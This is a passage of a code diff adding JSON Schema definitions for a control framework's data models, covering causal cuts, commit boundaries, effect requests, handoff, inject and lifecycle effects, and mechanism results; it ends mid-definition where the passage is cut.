"type": "integer" + }, + "max_depth": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Depth", + "type": "integer" + }, + "max_effects": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Effects", + "type": "integer" + }, + "max_fanout": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Fanout", + "type": "integer" + }, + "max_firings_per_rule": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Firings Per Rule", + "type": "integer" + } + }, + "required": [ + "max_depth", + "max_effects", + "max_fanout", + "max_firings_per_rule", + "max_attempts", + "expires_at_order" + ], + "title": "ControlCausalBoundsModel", + "type": "object" + }, + "ControlCausalCutModel": { + "additionalProperties": false, + "properties": { + "cut_kind": { + "const": "causal_frontier", + "title": "Cut Kind", + "type": "string" + }, + "cut_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Cut Ref", + "type": "string" + }, + "frontier_event_refs": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "minItems": 1, + "title": "Frontier Event Refs", + "type": "array" + }, + "history_domain": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "History Domain", + "type": "string" + }, + "order_model": { + "const": "causal_partial_order", + "title": "Order Model", + "type": "string" + }, + "predecessor_closure_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Predecessor Closure Ref", + "type": "string" + } + }, + "required": [ + "cut_kind", + "cut_ref", + "history_domain", + "order_model", + "frontier_event_refs", + "predecessor_closure_ref" + ], + "title": "ControlCausalCutModel", + "type": "object" + }, + "ControlCommitBoundaryV2Model": { + "additionalProperties": false, + "description": "One transaction envelope, not proof that an external effect occurred.", + "properties": { + "coverage_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Coverage Digest", + "type": "string" + }, + "decision_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Decision Digest", + "type": "string" + }, + "dispatchable_effect_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Dispatchable Effect Ids", + "type": "array" + }, + "effect_intent_digests": { + "items": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + "maxItems": 256, + "title": "Effect Intent Digests", + "type": "array" + }, + "effects_consumed": { + "maximum": 1000000, + "minimum": 0, + "title": "Effects Consumed", + "type": "integer" + }, + "expected_history_heads": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Expected History Heads", + "type": "array" + }, + "receipt": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ] + }, + "result_digests": { + "items": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + "maxItems": 256, + "title": "Result Digests", + "type": "array" + }, + "state_proposal_digests": { + "items": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + "maxItems": 256, + "title": "State Proposal Digests", + "type": "array" + }, + "status": { + "enum": [ + "prepared", + "committed", + "rejected" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "expected_history_heads", + "coverage_digest", + "result_digests", + "decision_digest", + "state_proposal_digests", + "effect_intent_digests", + "effects_consumed", + "status", + "receipt", + "dispatchable_effect_ids" + ], + "title": "ControlCommitBoundaryV2Model", + "type": "object" + }, + "ControlCompositionV2Model": { + "additionalProperties": false, + "properties": { + "blockers": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Blockers", + "type": "array" + }, + "contributing_result_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Contributing Result Ids", + "type": "array" + }, + "disposition": { + "enum": [ + "eligible", + "deny", + "withhold", + "unsupported", + "stale", + "weakened", + "failed", + "conflict" + ], + "title": "Disposition", + "type": "string" + }, + "lost_advice_slot_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Lost Advice Slot Ids", + "type": "array" + }, + "rule_revision": { + "const": "participant-control-applicability/rev1", + "title": "Rule Revision", + "type": "string" + } + }, + "required": [ + "rule_revision", + "disposition", + "blockers", + "contributing_result_ids", + "lost_advice_slot_ids" + ], + "title": "ControlCompositionV2Model", + "type": "object" + }, + "ControlDecisionModel": { + "additionalProperties": false, + "properties": { + "disposition": { + "enum": [ + "permit", + "deny", + "withhold", + "abstain" + ], + "title": "Disposition", + "type": "string" + }, + "kind": { + "const": "decision", + "title": "Kind", + "type": "string" + }, + "rule": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "disposition", + "rule" + ], + "title": "ControlDecisionModel", + "type": "object" + }, + "ControlDelayEffectModel": { + "additionalProperties": false, + "properties": { + "clock": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "earliest_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Earliest Order", + "type": "integer" + }, + "expiry_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expiry Order", + "type": "integer" + }, + "kind": { + "const": "delay", + "title": "Kind", + "type": "string" + }, + "latest_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Latest Order", + "type": "integer" + }, + "resumption_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "subject": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + } + }, + "required": [ + "kind", + "subject", + "clock", + "earliest_order", + "latest_order", + "expiry_order", + "resumption_policy" + ], + "title": "ControlDelayEffectModel", + "type": "object" + }, + "ControlEffectPlanV2Model": { + "additionalProperties": false, + "properties": { + "decisions": { + "items": { + "$ref": "#/$defs/ControlParentDecisionV2Model" + }, + "maxItems": 256, + "title": "Decisions", + "type": "array" + }, + "effect_outcomes": { + "default": [], + "items": { + "$ref": "#/$defs/ControlRealizationBindingModel" + }, + "maxItems": 256, + "title": "Effect Outcomes", + "type": "array" + }, + "effects": { + "items": { + "$ref": "#/$defs/ControlEffectRequestV2Model" + }, + "maxItems": 256, + "title": "Effects", + "type": "array" + }, + "incumbent_gate_disposition": { + "enum": [ + "permit", + "deny", + "withhold", + "unsupported", + "stale", + "failed" + ], + "title": "Incumbent Gate Disposition", + "type": "string" + }, + "parent_admission_receipt": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "parent_application_receipt": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "parent_applied": { + "title": "Parent Applied", + "type": "boolean" + }, + "parent_crossing": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "parent_disposition": { + "enum": [ + "permit", + "deny", + "withhold" + ], + "title": "Parent Disposition", + "type": "string" + }, + "realized_effect_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Realized Effect Ids", + "type": "array" + }, + "runnable_effect_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Runnable Effect Ids", + "type": "array" + } + }, + "required": [ + "parent_crossing", + "decisions", + "effects", + "incumbent_gate_disposition", + "realized_effect_ids", + "parent_applied", + "parent_disposition", + "runnable_effect_ids" + ], + "title": "ControlEffectPlanV2Model", + "type": "object" + }, + "ControlEffectRequestV2Model": { + "additionalProperties": false, + "description": "An exact owned effect with declared parent outcome prerequisites.", + "properties": { + "allowed_parent_dispositions": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Allowed Parent Dispositions", + "type": "array" + }, + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "effect_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Effect Id", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "key": { + "$ref": "#/$defs/ControlLogicalEffectKeyModel" + }, + "kind": { + "const": "effect-request", + "title": "Kind", + "type": "string" + }, + "originating_principal_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Originating Principal Ref", + "type": "string" + }, + "parent_outcome": { + "enum": [ + "none", + "admitted", + "applied" + ], + "title": "Parent Outcome", + "type": "string" + }, + "phase": { + "enum": [ + "required-predecessor", + "success-dependent", + "independent" + ], + "title": "Phase", + "type": "string" + }, + "predecessor_effect_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Predecessor Effect Ids", + "type": "array" + }, + "rule": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "target": { + "discriminator": { + "mapping": { + "audit": "#/$defs/ControlAuditEffectModel", + "delay": "#/$defs/ControlDelayEffectModel", + "handoff": "#/$defs/ControlHandoffEffectModel", + "inject": "#/$defs/ControlInjectEffectModel", + "interrupt": "#/$defs/ControlLifecycleEffectModel", + "mask": "#/$defs/ControlTransformationEffectModel", + "request-review": "#/$defs/ControlReviewEffectModel", + "route": "#/$defs/ControlTransformationEffectModel", + "shutdown": "#/$defs/ControlLifecycleEffectModel", + "transform": "#/$defs/ControlTransformationEffectModel" + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlTransformationEffectModel" + }, + { + "$ref": "#/$defs/ControlInjectEffectModel" + }, + { + "$ref": "#/$defs/ControlDelayEffectModel" + }, + { + "$ref": "#/$defs/ControlHandoffEffectModel" + }, + { + "$ref": "#/$defs/ControlReviewEffectModel" + }, + { + "$ref": "#/$defs/ControlLifecycleEffectModel" + }, + { + "$ref": "#/$defs/ControlAuditEffectModel" + } + ], + "title": "Target" + }, + "trigger": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "effect_id", + "key", + "rule", + "authority", + "phase", + "predecessor_effect_ids", + "target", + "evidence", + "parent_outcome", + "allowed_parent_dispositions", + "originating_principal_ref", + "trigger" + ], + "title": "ControlEffectRequestV2Model", + "type": "object" + }, + "ControlEffectiveSupportModel": { + "additionalProperties": false, + "properties": { + "constraints": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Constraints", + "type": "array" + }, + "context_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Context Digest", + "type": "string" + }, + "declaration_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "declared_level": { + "enum": [ + "exact", + "bounded", + "disclosed_weak", + "unsupported" + ], + "title": "Declared Level", + "type": "string" + }, + "downgrade_authority": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ] + }, + "effective_level": { + "enum": [ + "exact", + "bounded", + "disclosed_weak", + "unsupported" + ], + "title": "Effective Level", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "feature": { + "const": "participant_modular_control", + "title": "Feature", + "type": "string" + }, + "installation": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ] + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "limitations": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Limitations", + "type": "array" + }, + "status": { + "enum": [ + "resolved", + "missing", + "unknown", + "unsupported", + "stale", + "failed", + "weakened" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "instance_id", + "feature", + "declaration_ref", + "declared_level", + "effective_level", + "status", + "context_digest", + "installation", + "constraints", + "limitations", + "evidence", + "downgrade_authority" + ], + "title": "ControlEffectiveSupportModel", + "type": "object" + }, + "ControlHandoffEffectModel": { + "additionalProperties": false, + "properties": { + "completion_obligation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "expected_state_revision": { + "maximum": 1000000, + "minimum": 0, + "title": "Expected State Revision", + "type": "integer" + }, + "kind": { + "const": "handoff", + "title": "Kind", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "prior_controller_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Prior Controller Ref", + "type": "string" + }, + "resulting_controller_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Resulting Controller Ref", + "type": "string" + }, + "transition": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "transition", + "participant_address", + "episode_id", + "prior_controller_ref", + "resulting_controller_ref", + "expected_state_revision", + "completion_obligation" + ], + "title": "ControlHandoffEffectModel", + "type": "object" + }, + "ControlInjectEffectModel": { + "additionalProperties": false, + "properties": { + "delivery_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "disclosure_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "event_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Event Ref", + "type": "string" + }, + "inject_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Inject Ref", + "type": "string" + }, + "kind": { + "const": "inject", + "title": "Kind", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "result_item_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Result Item Ref", + "type": "string" + }, + "script_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Script Ref", + "type": "string" + }, + "source_item_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Source Item Ref", + "type": "string" + }, + "story_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Story Ref", + "type": "string" + } + }, + "required": [ + "kind", + "delivery_ref", + "inject_ref", + "event_ref", + "script_ref", + "story_ref", + "source_item_ref", + "result_item_ref", + "participant_address", + "episode_id", + "disclosure_ref" + ], + "title": "ControlInjectEffectModel", + "type": "object" + }, + "ControlInvocationV2Model": { + "additionalProperties": false, + "description": "One slot/stage call with immutable, disclosure-authorized inputs.", + "properties": { + "binding_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Binding Digest", + "type": "string" + }, + "context_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Context Digest", + "type": "string" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "invocation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Invocation Id", + "type": "string" + }, + "predecessor_inputs": { + "items": { + "$ref": "#/$defs/ControlPredecessorInputV2Model" + }, + "maxItems": 256, + "title": "Predecessor Inputs", + "type": "array" + }, + "projection": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "requested_slot_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "minItems": 1, + "title": "Requested Slot Ids", + "type": "array" + }, + "state_input": { + "$ref": "#/$defs/ControlStateInputV2Model" + } + }, + "required": [ + "invocation_id", + "instance_id", + "requested_slot_ids", + "binding_digest", + "context_digest", + "predecessor_inputs", + "state_input", + "projection" + ], + "title": "ControlInvocationV2Model", + "type": "object" + }, + "ControlLifecycleEffectModel": { + "additionalProperties": false, + "properties": { + "expected_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Expected Revision", + "type": "string" + }, + "kind": { + "enum": [ + "interrupt", + "shutdown" + ], + "title": "Kind", + "type": "string" + }, + "lifecycle_authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "operation": { + "enum": [ + "pause", + "cancel", + "interrupt", + "terminate" + ], + "title": "Operation", + "type": "string" + }, + "target_kind": { + "enum": [ + "participant", + "episode", + "execution", + "workflow", + "run" + ], + "title": "Target Kind", + "type": "string" + }, + "target_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Target Ref", + "type": "string" + } + }, + "required": [ + "kind", + "target_kind", + "target_ref", + "operation", + "lifecycle_authority", + "expected_revision" + ], + "title": "ControlLifecycleEffectModel", + "type": "object" + }, + "ControlLogicalEffectKeyModel": { + "additionalProperties": false, + "properties": { + "firing_epoch": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Firing Epoch", + "type": "string" + }, + "rule_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Id", + "type": "string" + }, + "rule_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Revision", + "type": "string" + }, + "run_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Run Ref", + "type": "string" + }, + "slot": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot", + "type": "string" + }, + "trigger_root": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Trigger Root", + "type": "string" + } + }, + "required": [ + "run_ref", + "trigger_root", + "rule_id", + "rule_revision", + "slot", + "firing_epoch" + ], + "title": "ControlLogicalEffectKeyModel", + "type": "object" + }, + "ControlLostAdviceV2Model": { + "additionalProperties": false, + "description": "Safe, bounded evidence for a discarded optional contribution.", + "properties": { + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "reason": { + "enum": [ + "malformed", + "missing", + "unknown", + "stale", + "failed", + "weakened", + "unsupported", + "conflict" + ], + "title": "Reason", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "reason", + "evidence" + ], + "title": "ControlLostAdviceV2Model", + "type": "object" + }, + "ControlMechanismBindingV2Model": { + "additionalProperties": false, + "properties": { + "applicability": { + "items": { + "$ref": "#/$defs/ControlApplicabilityModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Applicability", + "type": "array" + }, + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "configuration_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Configuration Digest", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "implementation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "limitations": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Limitations", + "type": "array" + }, + "mechanism": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "memory_scope": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "profiles": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Profiles", + "type": "array" + }, + "protocol_revision": { + "const": "participant-control-provider/v2", + "title": "Protocol Revision", + "type": "string" + }, + "state_scope": { + "$ref": "#/$defs/ControlStateScopeV2Model" + } + }, + "required": [ + "instance_id", + "profiles", + "mechanism", + "protocol_revision", + "implementation", + "configuration_digest", + "authority", + "memory_scope", + "applicability", + "evidence", + "limitations", + "state_scope" + ], + "title": "ControlMechanismBindingV2Model", + "type": "object" + }, + "ControlMechanismResultV2Model": { + "additionalProperties": false, + "description": "A typed output bound to the complete invocation input identity.", + "properties": { + "binding_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Binding Digest", + "type": "string" + }, + "context_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Context Digest", + "type": "string" + }, + "evaluated_basis": { + "default": [], + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Evaluated Basis", + "type": "array" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "invocation_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Invocation Digest", + "type": "string" + }, + "next_provider_state": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ] + }, + "payload": { + "anyOf": [ + { + "discriminator": { + "mapping": { + "advisory": "#/$defs/ControlAdvisoryModel", + "decision": "#/$defs/ControlDecisionModel", + "effect-request": "#/$defs/ControlEffectRequestV2Model", + "ifc-fact": { + "discriminator": { + "mapping": { + "sem-233/rev1": "#/$defs/ControlSecurityFactModel", + "teaching-influence-domain/rev1": "#/$defs/ControlTeachingFactModel" + }, + "propertyName": "domain" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlTeachingFactModel" + }, + { + "$ref": "#/$defs/ControlSecurityFactModel" + } + ] + } + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "discriminator": { + "mapping": { + "sem-233/rev1": "#/$defs/ControlSecurityFactModel", + "teaching-influence-domain/rev1": "#/$defs/ControlTeachingFactModel" + }, + "propertyName": "domain" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlTeachingFactModel" + }, + { + "$ref": "#/$defs/ControlSecurityFactModel" + } + ] + }, + { + "$ref": "#/$defs/ControlDecisionModel" + }, + { + "$ref": "#/$defs/ControlAdvisoryModel" + }, + { + "$ref": "#/$defs/ControlEffectRequestV2Model" + } + ] + }, + { + "type": "null" + } + ], + "title": "Payload" + }, + "result_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Result Id", + "type": "string" + }, + "rule_outcome": { + "anyOf": [ + { + "const": "not-triggered", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Rule Outcome" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + }, + "status": { + "enum": [ + "resolved", + "missing", + "unknown", + "unsupported", + "stale", + "failed", + "weakened" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "result_id", + "slot_id", + "instance_id", + "binding_digest", + "context_digest", + "status", + "payload", + "evidence", + "next_provider_state", + "invocation_digest" + ], + "title": "ControlMechanismResultV2Model", + "type": "object" + }, + "ControlObligationCoverageV2Model": { + "additionalProperties": false, + "properties": { + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "obligation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Obligation Id", + "type": "string" + }, + "slot_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Slot Ids", + "type": "array" + }, + "status": { + "enum": [ + "applies", + "proven-inapplicable", + "unresolved" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "obligation_id", + "status", + "slot_ids", + "evidence" + ], + "title": "ControlObligationCoverageV2Model", + "type": "object" + }, + "ControlParentDecisionV2Model": { + "additionalProperties": false, + "description": "A decision about the exact parent, never a scheduled operation.", + "properties": { + "decision_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Decision Id", + "type": "string" + }, + "disposition": { + "enum": [ + "permit", + "deny", + "withhold" + ], + "title": "Disposition", + "type": "string" + }, + "reasons": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Reasons", + "type": "array" + }, + "rule": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "decision_id", + "disposition", + "rule", + "reasons" + ], + "title": "ControlParentDecisionV2Model", + "type": "object" + }, + "ControlPolicyReferenceModel": { + "additionalProperties": false, + "properties": { + "decision_cut_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Decision Cut Ref", + "type": "string" + }, + "effective_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Effective Order", + "type": "integer" + }, + "policy_decision_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Policy Decision Ref", + "type": "string" + }, + "policy_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Policy Digest", + "type": "string" + }, + "policy_id": { + "maxLength": 256, + "minLength": 1, + "pattern": 